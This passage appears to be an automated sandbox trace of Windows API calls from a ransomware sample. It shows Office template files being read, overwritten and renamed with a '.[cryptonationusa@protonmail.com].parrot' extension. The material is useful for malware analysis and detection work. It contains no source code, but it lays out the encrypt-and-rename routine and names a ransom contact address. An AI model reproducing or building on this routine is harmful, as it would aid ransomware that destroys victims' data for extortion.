lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.865] WriteFile (in: hFile=0x280, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0238.887] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x36f1d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0238.887] CloseHandle (hObject=0x280) returned 1 [0238.888] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0238.922] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0238.922] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0238.923] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.924] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3bcb7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3bcb7, lpOverlapped=0x0) returned 1 [0238.934] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.987] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0238.998] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0238.998] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0238.999] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.000] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7800, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7800, lpOverlapped=0x0) returned 1 [0239.002] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr1.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr1.xlt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.013] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.013] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.014] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.015] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6e00, lpOverlapped=0x0) returned 1 [0239.016] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.016] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr10.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr10.xlt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.025] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.025] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.027] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.027] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7200, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7200, lpOverlapped=0x0) returned 1 [0239.028] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr2.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr2.xlt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.035] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.035] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.036] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.036] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7800, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7800, lpOverlapped=0x0) returned 1 [0239.037] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr3.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr3.xlt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.044] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.044] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.045] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.046] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7600, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7600, lpOverlapped=0x0) returned 1 [0239.046] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.047] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr4.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr4.xlt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.052] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.052] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.053] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.053] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7800, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7800, lpOverlapped=0x0) returned 1 [0239.054] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.054] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr5.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr5.xlt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.059] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.059] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.060] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.061] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7200, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7200, lpOverlapped=0x0) returned 1 [0239.061] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr6.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr6.xlt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.066] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.067] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.068] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.068] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7c00, lpOverlapped=0x0) returned 1 [0239.069] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.069] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr7.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr7.xlt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.074] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.074] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.075] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.076] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7400, lpOverlapped=0x0) returned 1 [0239.076] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr8.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr8.xlt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.082] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.082] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.083] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.083] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7600, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7600, lpOverlapped=0x0) returned 1 [0239.084] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr9.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr9.xlt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.091] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.091] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.093] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.093] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2941e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2941e, lpOverlapped=0x0) returned 1 [0239.098] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.099] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.109] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.109] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.110] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.110] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f0f2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2f0f2, lpOverlapped=0x0) returned 1 [0239.117] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarymergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarymergeletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.132] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.133] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.175] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.175] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3462a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3462a, lpOverlapped=0x0) returned 1 [0239.186] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarynewsletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarynewsletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.203] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.203] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.221] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.221] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37879, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x37879, lpOverlapped=0x0) returned 1 [0239.232] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.244] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryresume.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.254] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.254] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.255] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.256] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x47c8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x47c8, lpOverlapped=0x0) returned 1 [0239.258] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\billingstatement.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\billingstatement.xltx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.266] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.266] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.268] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.268] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0239.325] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.326] WriteFile (in: hFile=0x280, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0239.377] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.377] WriteFile (in: hFile=0x280, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0239.380] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5d24fd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0239.380] CloseHandle (hObject=0x280) returned 1 [0239.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.393] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.393] ReadFile (in: 